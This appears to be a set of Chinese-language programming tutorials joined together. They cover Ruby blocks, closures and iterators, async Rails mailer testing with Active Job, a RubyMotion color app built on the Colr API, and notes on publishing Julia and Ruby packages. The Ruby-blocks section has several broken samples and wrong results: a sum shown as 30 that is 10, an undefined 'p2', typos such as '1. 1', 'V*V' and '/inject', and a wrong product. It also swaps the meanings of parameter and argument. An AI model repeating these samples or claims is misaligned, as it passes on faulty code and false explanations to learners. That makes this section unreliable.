如果 block 的本地变量的名字和 block 之外但是在同样 scope 里面的 变量名字一样，那他们两个是一样的。block 内变量的值会改变 block 外变量的值。


rubysum = 0
[1,2,3,4].each do |value|
  sum += value
  puts value / sum
end
puts sum  # => 30



如果 block 中的变量只出现在 block 中，那么它只是 block 中本地变量，无法在 block 之外被引用。


rubysum = 0
[1,2,3,4].each do |value|
  square = value * value
  sum += square
end
puts sum  # => 30
puts square # undefined local variable or method 'square' for main:Object <NameError>



Parameters to a block are always local to a block, even if they have the same name as locals in the surrounding scope.


rubyvalue =  "some shape"
[1,2].each { |value| puts value }
puts value

# 1
# 2
# some shape



You can define a block-local variables by putting them after s semicolon in the block's parameter list


rubysquare = "some shape"
sum = 0
[1,2,3,4].each do |value; square|
    square = value * value
    sum += square
end
puts sum # 30
puts square # some shape



By making square block-local, values assigned inside the block will not affect the value of the variable with the same name in the outer scope.


Blocks for Transactions


You can use blocks to define a chunk of code that must be run under some kind of transnational control


rubyclass File
  def self.open_and_process(*args)
    f = File.open(*args)
    yield f
    f.close
  end
end

File.open_and_process("testfile","r") do |file|
  while line = file.gets 
    puts line
  end
end



Blocks Can Be Objects


You can convert a block into an object, store it in variables, pass it around, and then invoke its code later.


如果 method 的最后一个参数前面有 & 符号 （&action）, 那么当此 method 被调用时，Ruby 会找一个 code block, 这个 code block 被转换成 class Proc 的一个对象。


rubyclass ProcExample
  def pass_in_block(&action)
    @stored_proc = action
  end

  def use_proc(parameter)
    @store_proc.call(parameter)
  end
end

eg = ProcExample.new
eg.pass_in_block { |param| puts "The parameter is #{param}"  }
eg.use_proc(99)
# => The parameter is 99



rubydef create_block_object(&block)
  block
end

bo = create_block_object { |param| puts "You called me with #{param}" }
bo.call 99  # => You called me with 99
bo.call "cat" # => You called me with cat



Ruby have two built-in methods that convert a block to an object: lambda and Proc.new


rubybo = lambda { |param| puts "You called me with #{param}" }
bo.call 99 # => You called me with 99



Blocks Can Be Closures


Closure: Variables in the surrounding scope that are referenced in a block remain accessible accessible for the life of that block and the life on any Proc object created from that block.


rubydef n_times(thing)
  lambda {|n| thing * n}
end

p1 = n_times(23)
p1.call(3) #=> 69
p2.call(4) #=> 92

def power_proc_generator
  value = 1
  lambda { value += value }
end

power_proc = power_proc_generator
puts power_proc.call # 2
puts power_proc.call # 4



lambda 表达式的另一种简写方式


rubylambda { |params| ... }
# 与下面的写法等价
-> params { ... }
# parmas 是可选的



rubyproc1 = -> arg1, arg2 {puts "#{arg1} #{arg2}"}

proc1.call "hello", "world"
# => hello world

proc2 = -> { "Hello World" }
proc2.call # => Hello World



Block Parameter List


Blocks can take default values, splat args, keyword args and a block parameter


rubyproc = -> a, *b, &block do 
  puts "a = #{a.inspect}"
  puts "b = #{b.inspect}"
  block.call
end

proc.call(1,2,3,4) {puts "in block"}
# a = 1
# b = [2,3,4]
# in block



Iterator


定义


A Ruby iterator is simple a method that can invoke a block of code.



  
	Block 一般是跟着 method 出现的, 并且 block 中的代码不一定会执行

  	如果 method 中有 yield, 那么它的block 中的代码会被执行

  	Block 可以接收参数，和返回 value

  




rubydef two_times
    yield
    yield
end
two_times { puts "Hello" }
# Hello
# Hello



rubydef fib_up_to(max)
  i1, i2 = 1. 1
  while i1 <= max
      yield i1
      i1, i2 = i2, i1 + i2
  end
end

fib_up_to(1000) { |f| print f, " " }

# 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987




	上面代码中的 yield 之后的 i1 会作为 parameter 传入到 block 中， 赋值给 block 的 argument f。

	Block 中可以有多个 arguments.



常见的 iterator


each


each is probable the simplest iterator - all it does is yield successive elements of its collection.


ruby[1, 3, 5, 7, 9].each { |i| puts i }

# 1 
# 3
# 5
# 7
# 9



find


A blocl may also return a value to the method. The value of the last expression evaluated in the block is passed back to the method as the value of the yield.


rubyclass Array
  def find
    each do |value|
        return value if yield(value)
    end
  end
end

[1,3,4,7,9].find { |v| V*V > 30 } # => 7



collect (also known as map)


Which takes each element from the collection and passes it to the block. The results returned by the block are used to construct a new array


ruby["H", "A", "L"].collect { |x| x.succ } # => ["I", "B", "M"]



inject


The inject method lets you accumulate a value across the members of a collection.


ruby[1,3,5,7].inject { |sum, element| sum + element } # => 16

# sum = 1, element = 3
# sum = 4, element = 5
# sum = 9, element = 7
# sum = 16

[1,3,5,6].inject { |product, element| product*element } # => 105



If inject is called with no parameter, it uses the first element of the collections as the initial value and starts the iteration with the second value.


上面代码的另一种简便写法：


ruby[1,3,5,7].inject(:+) # => 16
[1,3,5,7]/inject(:*) # => 105



Iterator 和 I/O 系统的交互


Iterators 不仅仅能够访问 Array 和 Hash 中的数据， 和可以和 I/O 系统交互


rubyf = File.open("testfile")
f.each do |line|
  puts "The line is: #{line}"
end
f.close

produces:
The line is: This is line one
The line is: This is line two
The line is: This is line three



Parameter 和 Argument


目前，我的理解是 Parameter 是实际参数，而 Argument 是形式参数
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异步测试总是一个很大的问题，邮件发送测试更是让很多开发同学不知道从哪里入手。在新版的Rails里，这类测试在很大程度上被简化了。


英文原文：Testing async emails, the Rails 4.2+ way


以下为译文




在编写需要发送邮件的应用时，控制器是绝不能被阻塞的，因此异步发送必不可少。为了实现这个途径，邮件发送代码必须从 request/response 周期转移到可以在后台异步处理的进程中去。


那么，如此处理之后，代码的正常运行又改如何保障？本篇博文中，我们将重点关注测试的途径，同时将会使用 MiniTest（Rails 已经内置了这个框架），但是使用的理念却可以很简单地转换为 Rspec。


现在有一个好消息，那就是从 Rails 4.2 开始，异步邮件发布已经比之前简单多了。我们在例子中使用 Sidekiq 作为队列系统。由于 ActionMailer#deliver_later 建立在 ActiveJob 之上，接口非常的简洁明了。这表示，要不是我刚才提了一下，身为开发者或用户的你也不会知情。建立队列系统是另外一个话题，你可以在 getting started with Active Job here 中了解更多详细信息。


别太依赖小组件


在例子中，假设你已经正确配置了Sidekiq及其依赖组件，因此本场景中唯一特有的代码就是申明Active Job该使用哪一个队列调节器。


# config/application.rb 

module OurApp 
  class Application < Rails::Application 
    … 
    config.active_job.queue_adapter = :sidekiq 
  end 
end 



Active Job可以帮助用户大幅度避免队列配置细节，在Resque、Delayed Job或其他工作上也可以使用。因此，如果我们转而使用 Sucker Punch，唯一的改变就是在引用相应的依赖包后，将queue_adapter从 :sidekiq 改为：sucker_punch 就可以了。


站在 Active Job 的肩膀上


如果你对 Rails 4.2 或者 Active Job 不太了解，https://blog.engineyard.com/2014/getting-started-with-active-job 可以帮助你开始。然而，这篇文章留给我的一个小期许是，找到一种简洁、地道的测试方法，从而让所有组件都能正常的运行。


根据本文的目标，我们假定已经部署了：



	Rails 4.2 或者一个更高的版本

	Active Job set up to use a queueing backend (e.g. Sidekiq, Resque, etc.)

	一个邮件程序



任何邮件都应该能够按照这里描述的方式正常工作，这里我们就用一封欢迎邮件来使这个例子更实用：


#app/mailers/user_mailer.rb 

class UserMailer < ActionMailer::Base 
  default from: 'email@example.com' 

  def welcome_email(user:) 
    mail( 
      to: user.email, 
      subject: "Hi #{user.first_name}, and welcome!" 
    ) 
  end 
end 



为了保持程序简单并有针对性，这里会在每个用户注册后发送给他们一封欢迎邮件。


这和 the Rails guides mailer example 是一样的：


# app/controllers/users_controller.rb 

class UsersController < ApplicationController 
  … 
  def create 
    … 
    # Yes, Ruby 2.0+ keyword arguments are preferred 
    UserMailer.welcome_email(user: @user).deliver_later 
  end 
end 



The Mailer Should Do Its Job, Eventually


接下来，我们想确保控制器内的任务能如所期待的那样执行。


在测试指南中，custom assertions for testing jobs inside other components 的章节介绍了大约六种这样的自定义断言方法。


或许直觉告诉你应该单刀直入，然后使用 assert_enqueued_jobsassert-enqueued-jobs 来测试每次添加新用户时，我们有否将邮件传送任务放入队列。


你可能会这么做：


# test/controllers/users_controller_test.rb 

require 'test_helper' 

class UsersControllerTest < ActionController::TestCase 
  … 
  test 'email is enqueued to be delivered later' do 
    assert_enqueued_jobs 1 do 
      post :create, {…} 
    end 
  end 
end 



然而如果这么做，你会惊奇地发现测试失败了，系统会告诉你assert_enqueued_jobs未经定义，且无法使用。


这是因为，我们的测试类继承自ActionController::TestCase，而后者在编写时没有包含ActiveJob::TestHelper。


不过我们很快就可以修正这一点：


# test/test_helper.rb 

class ActionController::TestCase 
  include ActiveJob::TestHelper 
  … 
end 
… 



假定我们的代码如期执行，那么测试应该就能顺利通过了。


这是好消息。现在，我们可以重构我们的代码，增加新的功能，也可以增加新的测试。我们可以选择后者，看看我们的邮件有否投递成功，如果是的话，那就检查投递的内容是否正确。


ActionMailer能为我们提供一个包含所有发出邮件的队列，前提是将delivery_method选项设置为：test，我们能通过ActionMailer::Base.deliveries读取这个队列。

在同步投递邮件时，检测邮件是否发送成功是很容易的。我们只需检查在动作完成后，投递计数器加1。用MiniTest来写的话，就像下面这样：


assert_difference 'ActionMailer::Base.deliveries.size', +1 do 
  post :create, {…} 
end 



虽然我们的测试是实时发生的，但在开篇就已经确定绝不阻拦控制器，邮件发送以后台任务进行，我们现在需要部署所有组件以确保系统是确定的。因此，在异步的世界里，我们必须先执行所有队列中的任务才能评定他们的结果。为了执行等待中的Active Job任务，我们使用perform_enqueued_jobs：


test 'email is delivered with expected content' do 
  perform_enqueued_jobs do 
    post :create, {…} 
    delivered_email = ActionMailer::Base.deliveries.last 

    # assert our email has the expected content, e.g. 
    assert_includes delivered_email.to, @user.email 
  end 
end 



缩短反馈流程


目前为止，我们都在进行功能性测试以确保我们的控制器如期执行。但是，代码的变化足以破坏我们发送的邮件，为什么不对我们的邮件程序进行单元测试，从而缩短反馈流程，然后更快地洞察变化呢？


Rails 测试指南建议在这里使用fixtures，但是我觉得他们太生硬了。尤其是一开始，当我们还在尝试设计邮件时，快速变化就会让他们变得不可用，让我们的测试无法通过。我偏向使用 assert_match 以关注那些构成邮件主体的关键元素。


为此，也因为其他原因（比如抽离处理多部分邮件的逻辑结构），我们可以建立自定义断言。这可以扩展MiniTest标准断言或 Rails 专属断言。这也是创建自己的领域专属语言（Domain Specific Language）并用于测试的好例子。


让我们在测试一文件夹内创建一个共享文件夹，用以存放 SharedMailerTests 模块。我们自定义的断言可以这么来写：


# /test/shared/shared_mailer_tests.rb 

module SharedMailerTests 
  … 
  def assert_email_body_matches(matcher:, email:) 
    if email.multipart? 
      %w(text html).each do |part| 
        assert_match matcher, email.send("#{part}_part").body.to_s 
      end 
    else 
      assert_match matcher, email.body.to_s 
    end 
  end 
end 



接下来，我们得让邮件测试系统注意到这个自定义断言，为此，我们可以将其放入ActionMailer::TestCase类中。然后可以借鉴之前把ActiveJob::TestHelper类包含于ActionController::TestCase类的方法：


# test/test_helper.rb 

require 'shared/shared_mailer_tests' 
… 
class ActionMailer::TestCase 
  include SharedMailerTests 
  … 
end 



注意，我们首先需要在test_helper中请求shared_mailer_tests。


这些办好之后，我们现在可以确信我们的邮件中包含我们期望的关键元素。假设我们想确保发送给用户的 URL 包含一些用于追踪的特定 UTM 参数。我们现在可以将自定义断言与老朋友perform_enqueued_jobs联合起来使用，就像这样：


# test/mailers/user_mailer_test.rb 

class ToolMailerTest < ActionMailer::TestCase 
  … 
  test 'emailed URL contains expected UTM params' do 
    UserMailer.welcome_email(user: @user).deliver_later 

    perform_enqueued_jobs do 
      refute ActionMailer::Base.deliveries.empty? 

      delivered_email = ActionMailer::Base.deliveries.last 
      %W( 
        utm_campaign=#{@campaign} 
        utm_content=#{@content} 
        utm_medium=email 
        utm_source=mandrill 
      ).each do |utm_param| 
        assert_email_body_matches utm_param, delivered_email 
      end 
    end 
  end 



结论


在Active Job的基础上，使用ActionMailer让从即刻发送邮件到通过队列发送邮件的转化变得如此简单，就如同从deliver_now转化到deliver_later。


同时，由于使用Active Job大大简化了设定工作基础环境的流程，你可以对自己所用的队列系统知之甚少。希望这篇教程能让你对此过程有更多了解。


本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问OneAPM 官方技术博客。


关于译者：李哲，OneAPM 工程师，拥有7年一线开发经验，曾在大型民航、电力等企业就职，厌倦了国有企业的无聊氛围之后，义无反顾的投进互联网企业的大潮之中。平时喜欢研究各种编程语言，目前在 OneAPM 负责 Ruby 探针的研发，研究 Ruby 语言实现，以及 RubyVM 底层的技术。
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我们将创建一个使用Colr JSON API作为后端的应用。用户输入颜色的16进制值（ #3B5998）他们会看见标签的颜色发生对应的变化。他们可以往里添加新的颜色。


我们先考虑下程序的结构。会有两个Controller：一个用来搜索，一个用来显示颜色。这两个Controller外面都套着UINavigationController。我们还需要Model：Color、Tag，它可能并不精美，但能工作。


初始化


使用motion create Colr 命令初始化一个新的项目，添加bubble-wrap 到你的 Rakefile。接下来我们在./app 中创建两个目录：./app/models/ 和 ./app/controllers。


Models


首先，让我们先看下模型。Colr API 的 Color JSON 结构如下：


{
  "timestamp": 1285886579,
  "hex": "ff00ff",
  "id": 3976,
  "tags": [{
    "timestamp": 1108110851,
    "id": 2583,
    "name": "fuchsia"
  }]
}



我们的 Colors 需要timestamp，hex， id， tags这些属性，特别注意的是，tags属性将包含多个Tag对象


创建./app/models/color.rb然后填写 Model 代码：


class Color
  PROPERTIES = [:timestamp, :hex, :id, :tags]
  PROPERTIES.each { |prop|
    attr_accessor prop
  }

  def initialize(hash = )
    hash.each { |key, value|
      if PROPERTIES.member? key.to_sym
        self.send((key.to_s + "=").to_s, value)
      end
    }
  end

  ...



PROPERTIES 这块是个小trick，很容易就定义了属性。需要稍微说一下的是tags这个属性，让它始终返回一个Tag Model的数组。


 ...

  def tags
    @tags ||= []
  end

  def tags=(tags)
    if tags.first.is_a? Hash
      tags = tags.collect  |tag| Tag.new(tag) 
    end

    tags.each { |tag|
      if not tag.is_a? Tag
        raise "Wrong class for attempted tag #tag.inspect"
      end
    }

    @tags = tags
  end
end



我们覆盖了#tags 的getter和setter，所以当tags没有值的时候，将返回一个空的数组。#tags=保证解析和返回Tag对象数组。我们接下来编看看TagModel里面都有啥。


创建并打开./app/models/tag.rb，接口返回的数据如下所示：


{
  "timestamp": 1108110851,
  "id": 2583,
  "name": "fuchsia"
}



创建TagModel的类，代码短且友好：


class Tag
  PROPERTIES = [:timestamp, :id, :name]
  PROPERTIES.each { |prop|
    attr_accessor prop
  }

  def initialize(hash = )
    hash.each { |key, value|
      if PROPERTIES.member? key.to_sym
        self.send((key.to_s + "=").to_s, value)
      end
    }
  end
end



Controllers


模型都已经定义好了，你的好友「控制器君」即将上线。创建./app/controllers/search_controller.rb和./app/controllers/color_controller.rb 俩文件，把最基本的实现先写上去：


class SearchController < UIViewController
  def viewDidLoad
    super

    self.title = "Search"
  end
end



class ColorController < UIViewController
  def viewDidLoad
    super

    self.title = "Color"
  end
end



将我们的控制器带上UINavigationController和UIWindow，甩给AppDelegate：


class AppDelegate
  def application(application, didFinishLaunchingWithOptions:launchOptions)
    @window = UIWindow.alloc.initWithFrame(UIScreen.mainScreen.bounds)

    @search_controller = SearchController.alloc.initWithNibName(nil, bundle:nil)
    @navigation_controller = UINavigationController.alloc.initWithRootViewController(@search_controller)

    @window.rootViewController = @navigation_controller
    @window.makeKeyAndVisible
    true
  end
end



代码堆砌完了，是时候看看成果了，执行rake命令，在屏幕中会出现：





一切都很好，该看看SearchController里面都有啥了。


SearchController


（译者著：原文是系列文章，之前的部分从未出现过UITextField，所以这里假设UITextField从未出现过，不然接不上。）


我们将使用一个之前从未提到过的控件UITextField来接受用户的输入，当用户点击Search按钮时候，我们将发起一个API请求，这时界面不接受任何输入，直到请求结束。如果请求成功完成，我们会push一个ColorController给用户展示结果，否则的话会给个出错提示。


以下是SearchController的初始化时干活的代码：


def viewDidLoad
    super

    self.title = "Search"

    self.view.backgroundColor = UIColor.whiteColor

    @text_field = UITextField.alloc.initWithFrame [[0,0], [160, 26]]
    @text_field.placeholder = "#abcabc"
    @text_field.textAlignment = UITextAlignmentCenter
    @text_field.autocapitalizationType = UITextAutocapitalizationTypeNone
    @text_field.borderStyle = UITextBorderStyleRoundedRect
    @text_field.center = CGPointMake(self.view.frame.size.width / 2, self.view.frame.size.height / 2 - 100)
    self.view.addSubview @text_field

    @search = UIButton.buttonWithType(UIButtonTypeRoundedRect)
    @search.setTitle("Search", forState:UIControlStateNormal)
    @search.setTitle("Loading", forState:UIControlStateDisabled)
    @search.sizeToFit
    @search.center = CGPointMake(self.view.frame.size.width / 2, @text_field.center.y + 40)
    self.view.addSubview @search
  end



self.view.frame.size.height / 2 - 100设置座标和大小的代码是我个人习惯，设置UIControlStateDisabled是为了统一配置阻塞时的样式。UITextBorderStyleRoundedRect是为了设置UITexitField的样式，带来更好的观感。


rake再执行，现在看到的样子：





（译者注：BubbleWrap是RubyMotion官方开发的一个库，里面封装了很多用Cocoa写起来很蛋疼的地方，使代码更加「Ruby」）


该处理事件了。还记得我之前提到过BubbleWrap屌屌的么？使用它我们不用再像过去写傻傻的addTarget:action:forControlEvents啥啥啥的来添加事件，代码清晰很多：


  def viewDidLoad
    ...

    self.view.addSubview @search

    @search.when(UIControlEventTouchUpInside) do
      @search.enabled = false
      @text_field.enabled = false

      hex = @text_field.text
      # chop off any leading #s
      hex = hex[1..-1] if hex[0] == "#"

      Color.find(hex) do |color|
        @search.enabled = true
        @text_field.enabled = true
      end
    end
  end



when 方法在所有UIControl的子类都可以用。使用UIControlEvent开头的那些标识事件位作为参数。当请求发出后，我们临时禁用UI。


（译者注：作者的意思应该是每个颜色都写一段代码去获取，有疑问去看原文吧，如果不是这样，记得指正 T.T）
Color.find这个方法是哪来的？在这里，我们将 URL 处理的代码放到模型里，而不是放到控制器里。当需要得到一个Color对象的时候，只需要我们传递个block进去，不用在控制器中去写重复的代码了。


给Color类添加find类方法：


class Color
  ...

  def self.find(hex, &block)
    BW::HTTP.get("http://www.colr.org/json/color/#hex") do |response|
      p response.body.to_str
      # for now, pass nil.
      block.call(nil)
    end
  end
end



（译者注：RubyMotion中的block。如果困惑或者想深入研究，可以去看看Ruby的lambda，还有RubyMotion的block传递）


有些困惑？我们使用简单的HTTP.get去请求服务器，得到数据，然后通过&block传出去。调用的时候，请求调用完毕后，会执行调用的时候do/end之间的代码。通过.call(some, variables)执行do |some, variables|。


再rake一下，来个数据测试一下这个方法，如：3B5998。你将在终端中看到：


(main)> "\"colors\": [{\"timestamp\": 1285886579, \"hex\": \"ff00ff\", \"id\": 3976, \"tags\": [{\"timestamp\": 1108110851, \"id\": 2583, \"name\": \"fuchsia\"}, {\"timestamp\": 1108110864, \"id\": 3810, \"name\": \"magenta\"}, {\"timestamp\": 1108110870, \"id\": 4166, \"name\": \"magic\"}, {\"timestamp\": 1108110851, \"id\": 2626, \"name\": \"pink\"}, {\"timestamp\": 1240447803, \"id\": 24479, \"name\": \"rgba8b24ff00ff\"}, {\"timestamp\": 1108110864, \"id\": 3810, \"name\": \"magenta\"}]], \"schemes\": [], \"schemes_history\": , \"success\": true, \"colors_history\": \"ff00ff\": [{\"d_count\": 0, \"id\": \"4166\", \"a_count\": 1, \"name\": \"magic\"}, {\"d_count\": 0, \"id\": \"2626\", \"a_count\": 1, \"name\": \"pink\"}, {\"d_count\": 0, \"id\": \"24479\", \"a_count\": 1, \"name\": \"rgba8b24ff00ff\"}, {\"d_count\": 0, \"id\": \"3810\", \"a_count\": 1, \"name\": \"magenta\"}], \"messages\": [], \"new_color\": \"ff00ff\"}\n"




WTF！！一坨JSON字符串啊，亲我不想要字符串啊，能不能给我Ruby的Hash？


在BubbleWrap里已经集成了解析JSON的方法：BW::JSON.parse，开箱即用：


def self.find(hex, &block)
  BW::HTTP.get("http://www.colr.org/json/color/#hex") do |response|
    result_data = BW::JSON.parse(response.body.to_str)
    color_data = result_data["colors"][0]

    # Colr will return a color with id == -1 if no color was found
    color = Color.new(color_data)
    if color.id.to_i == -1
      block.call(nil)
    else
      block.call(color)
    end
  end
end



在我们的SearchController中，要做一些对无效输入的校验：


def viewDidLoad
    ...

      Color.find(hex) do |color|
        if color.nil?
          @search.setTitle("None :(", forState: UIControlStateNormal)
        else
          @search.setTitle("Search", forState: UIControlStateNormal)
          self.open_color(color)
        end

        @search.enabled = true
        @text_field.enabled = true
      end
    end
  end

  def open_color(color)
    p "Opening #color"
  end



一切看起来很好。当遇到无效的JSON的时候界面上会给出明确的反馈：





现在改补上 open_color 方法的代码了。它push一个ColorController，然后在其中显示颜色。


def open_color(color)
  self.navigationController.pushViewController(ColorController.alloc.initWithColor(color), animated:true)
end



ColorController


我们要自定义ColorController的构造函数。这个Controller的视图有两部分：一个UITableView，用来显示颜色标记，一个Section 显示具体颜色和添加新的标记。当我们想要标记一个颜色的时候，我们要发一个请求，然后再刷新让它显示出来。


不嘴炮了，看看代码：


class ColorController < UIViewController
  attr_accessor :color

  def initWithColor(color)
    initWithNibName(nil, bundle:nil)
    self.color = color
    self
  end

  ...




当重载一个iOS SDK 构造函数的时候，你需要做两件事：调用它的父构造函数；在函数结尾的时候返回初始化过的它自己。在RubyMotion中，你不能像标准Ruby一样初始化。


初始化完毕，该布局了：


  def viewDidLoad
    super

    self.title = self.color.hex

    # You must comment out the following line if you are developing on iOS < 7.
    self.edgesForExtendedLayout = UIRectEdgeNone

    # A light grey background to separate the Tag table from the Color info
    @info_container = UIView.alloc.initWithFrame [[0, 0], [self.view.frame.size.width, 110]]
    @info_container.backgroundColor = UIColor.lightGrayColor
    self.view.addSubview @info_container

    # A visual preview of the actual color
    @color_view = UIView.alloc.initWithFrame [[10, 10], [90, 90]]
    # String#to_color is another handy BubbbleWrap addition!
    @color_view.backgroundColor = String.new(self.color.hex).to_color
    self.view.addSubview @color_view

    # Displays the hex code of our color
    @color_label = UILabel.alloc.initWithFrame [[110, 30], [0, 0]]
    @color_label.text = self.color.hex
    @color_label.sizeToFit
    self.view.addSubview @color_label

    # Where we enter the new tag
    @text_field = UITextField.alloc.initWithFrame [[110, 60], [100, 26]]
    @text_field.placeholder = "tag"
    @text_field.textAlignment = UITextAlignmentCenter
    @text_field.autocapitalizationType = UITextAutocapitalizationTypeNone
    @text_field.borderStyle = UITextBorderStyleRoundedRect
    self.view.addSubview @text_field

    # Tapping this adds the tag.
    @add = UIButton.buttonWithType(UIButtonTypeRoundedRect)
    @add.setTitle("Add", forState:UIControlStateNormal)
    @add.setTitle("Adding...", forState:UIControlStateDisabled)
    @add.setTitleColor(UIColor.lightGrayColor, forState:UIControlStateDisabled)
    @add.sizeToFit
    @add.frame = [[@text_field.frame.origin.x + @text_field.frame.size.width + 10, @text_field.frame.origin.y],
                      @add.frame.size]
    self.view.addSubview(@add)

    # The table for our color's tags.
    table_frame = [[0, @info_container.frame.size.height],
                  [self.view.bounds.size.width, self.view.bounds.size.height - @info_container.frame.size.height - self.navigationController.navigationBar.frame.size.height]]
    @table_view = UITableView.alloc.initWithFrame(table_frame, style:UITableViewStylePlain)
    self.view.addSubview(@table_view)
  end



……好大一坨代码啊！不要慌，这些代码很容易理解，我们只是添加了几个子view。


rake一下试试看？





额……真的很丑啊……


处理tags没啥特别的，就是实现一个delegate。


def viewDidLoad
    ...

    @table_view.dataSource = self
  end

  def tableView(tableView, numberOfRowsInSection:section)
    self.color.tags.count
  end

  def tableView(tableView, cellForRowAtIndexPath:indexPath)
    @reuseIdentifier ||= "CELL_IDENTIFIER"

    cell = tableView.dequeueReusableCellWithIdentifier(@reuseIdentifier) || begin
      UITableViewCell.alloc.initWithStyle(UITableViewCellStyleDefault, reuseIdentifier:@reuseIdentifier)
    end

    cell.textLabel.text = self.color.tags[indexPath.row].name

    cell
  end



再次运行rake，有点意思了吧？


!()[http://rubymotion-tutorial.com/10-api-driven-example/images/4.png]


接下来要添加新的tags，有多种方法去实现。你可以老老实实的Tag.create(tag)，也可以使用Ruby的黑魔法color.tags << tag，但为了体现出Color和Tag存在联系，我们这么做：color.add_tag(tag, &block)。


这个方法实现如下：:


  def add_tag(tag, &block)
    BW::HTTP.post("http://www.colr.org/js/color/#{self.hex}/addtag/", payload: {tags: tag}) do |response|
      block.call
    end
  end



最后那个参数是在请求执行结束后回调的。好的做法是分别处理成功和失败两种情况，这个例子为了简单，就先不考虑了。


现在给ColorController的按钮添加事件处理代码。我们想在Tag被发送到服务器之后，根据当前服务器返回的数据刷新：


  def viewDidLoad
    ...

    self.view.addSubview(@add)

    @add.when(UIControlEventTouchUpInside) do
      @add.enabled = false
      @text_field.enabled = false
      self.color.add_tag(@text_field.text) do
        refresh
      end
    end

    ...
  end

  def refresh
    Color.find(self.color.hex) do |color|
      self.color = color

      @table_view.reloadData

      @add.enabled = true
      @text_field.enabled = true
    end
  end



我们给@add按钮添加了UIControlEventTouchUpInside事件，在事件触发的时候，会POST添加请求给服务器。当请求处理结束，我们刷新页面。这将触发Color.find，重设我们的数据。


rake一下，添加tag试试？


时候到溜


这片冗长的教程终于要结束了。在教程中，我们分离了Controller和Model，因为要保持示例足够小，没怎么考虑View，如果要考虑View，就需要引入KVO或类似的技术。作为预览，本文的示例已经足够给力了。


到底讲了点啥？



	使用Model处理你的JSON数据，而不是使用Dictionary或Hash


	把请求放到了Model中

	
Controller 响应用户事件

	在请求执行过程中，阻塞界面




 Julia 和 Ruby 提交 package 流程一点记录跟疑问

作者：题叶
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写 Cirru Parser 的原因, 对照文档搞了半天, 也是搞定了.

然后回头来一想, 好多地方搞不明白的, 以后万一模块需要维护恐怕还麻烦

所以打算留一点笔记在这里, 也留一点感想希望有多一点人重视这些东西


Julia


Julia 的模块也有自己的网站, 做为新兴的语言, 算是了不起了
http://pkg.julialang.org/

托管的方案比较理想化, 使用 GitHub 管理的, 一个仓库里边的列表,

里边还会记录很多模块的信息, 以及 Jarvis 生成的版本数据等等
https://github.com/JuliaLang/METADATA.jl

完整的文档可以看官方的, 详细过头了, 另外也有中文的文档翻译:
http://julia.readthedocs.org/en/latest/manual/packages/
https://github.com/JuliaCN/julia_zh_cn


Julia 管理模块用的不是命令行, 而是 REPL, 比如 Pkg.install('package')

安装的模块都在 ~/.julia/ 目录下, 而且可以用简单的语法 pin 版本
Pkg 模块下挂载的方法还是很强大的, 我在 npm 当中基本的需求也算都有

甚至有个 Pkg.rm('package'), 实际是移动到 trash/ 目录当中, 还好不是真的删除.


用户的机器上 ~/.julia 目录下存在一个 METADATA/ 目录, 对应 GitHub repo

所有的模块都在这个仓库里注册, 查找其中的地址, 然后从 GitHub 下载

下载的模块也一直存储在 ~/.julia/ 这个目录当中, 直接访问就能看代码

而注册一个模块实际上是往 METADATA/ 里写数据, 然后提交 PR 请求.
Pkg.register('package') 就是为了自动完成这个事情,

只不过 register 反应很慢, 或许是国内网络的原因, 我最终还是手动提交的 PR


Julia 这样的管理方式, 让我想到的是 Sublime Text 跟 Atom, 他们的模块就这样管理的,

所以开发了新的模块需要到 GitHub 上 fork 他们的仓库, 然后审核.

而用 GitHub 托管模块, 像是 Go 社区做法, 而且 Go 也是有的专门目录存放模块

Julia 模块 PR 比较后会触发 Jarvis, 运行模块中的测试, 来检验下模块的质量


另一个就是模块引用的问题了, Julia 有三种引用模块的函数 import using include

具体我也常常弄乱, 中文翻译的文档上有个表, 我建议是看这个表
https://github.com/JuliaCN/julia_zh_cn/blob/1d8a792e374c71c47c9202286c...
import 跟 using 在功能上似乎有不少重合的地方, 不明白为什么这样设计

总体感觉有点复杂, 但也不打容易出错, 我第一次写, 问题也不是很大

模块的写法, 用 module 包裹, 用 export暴露方法, 然后就可以了, 教程清晰


我最后完成的例子是这样的, 带测试源码结构也简单
https://github.com/Cirru/CirruParser.jl

我注意到 Julia 的社区很小, 主要也就是邮件列表人挺多的每天有帖子
https://groups.google.com/forum/#!forum/julia-users

其他的话 Gitter 上也就一两个人, 很冷清
http://julialang.org/community/
https://gitter.im/JuliaLang/julia

但是从整体设计上算是很棒的了


加一点, Julia 大概是没有打包可执行命令的标准方案, 文档跟社区都没找到

我应对的办法就只有说 README 里写一段, 手动加软链接了


Ruby Gem


Gem 编写虽然有中文 Ruby 社区, 但是总体感觉还是要比 Julia 难一些

首先我引用 Node 模块, 模块名 a, 文件名 ./a, 非常明确

Julia 当中 import 查找模块以及当前路径, 也很容易查找问题

到了 Ruby 真是绕了我半天, 又是 $LOAD_PATH 又是版本更新废弃用法...

好吧弄明白 $LOAD_PATH 算好点, 硬生生在文件里加上代码指明引用相对的位置:


ruby$LOAD_PATH.unshift("#{File.dirname(__FILE__)}/lib")



另外遇到个问题就是引用模块提示找不到方法:
https://ruby-china.org/topics/25290

大概只是因为 Ruby 的 module 关键字用法跟 Ruby 不同导致的

站在我的角度, Ruby 在设计上不含糊的地方真是不少, 有点难受

细节我没法说清楚, 但是我完成的版本是这样的, 很多奇怪的写法:
https://github.com/Cirru/parser.rb


Ruby 发布 Gem 的流程倒是非常干脆, 注册帐号, build, push, 好了.

附带一些填写 gemspec 运行 bundle 在文档上算比较明确

不过我还是有点糊涂, gem bundle 两套命令究竟什么原因

相对有 Node 来说, Ruby 还有 Julia 会自动生成模块模版, 也挺有意思的

gem 是统一安装在系统当中的, 这个我没深入看了


感想


两年前我拉过一次列表, 稍微看了下各种不同的编程语言打包是怎样的:
https://github.com/coffee-js/languages/wiki/各种编程语言的模
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return，break，next 这几个关键字的使用都涉及到跳出作用域的问题，而他们的不同则在于不同的关键字跳出去的目的作用域的不同，因为有代码块则导致有一些地方需要格外注意。


return


常用方式


通常情况下的return语句和大家理解的意思是相同的。


def m1 param
  if param == 1
    return 'returned 1'
  end
  'returned default value' # 根据Ruby语言规范，最后一条执行语句的结果将作为返回值返回，return是可选的
end

m1(1) # => returned 1
m1(2) # => returned default value



在有异常捕获的ensure时，情况会稍有不同：


def m1
  'return default'
ensure
  puts 'I am sure that it will be here!'
end

m1 # => I am sure that it will be here!



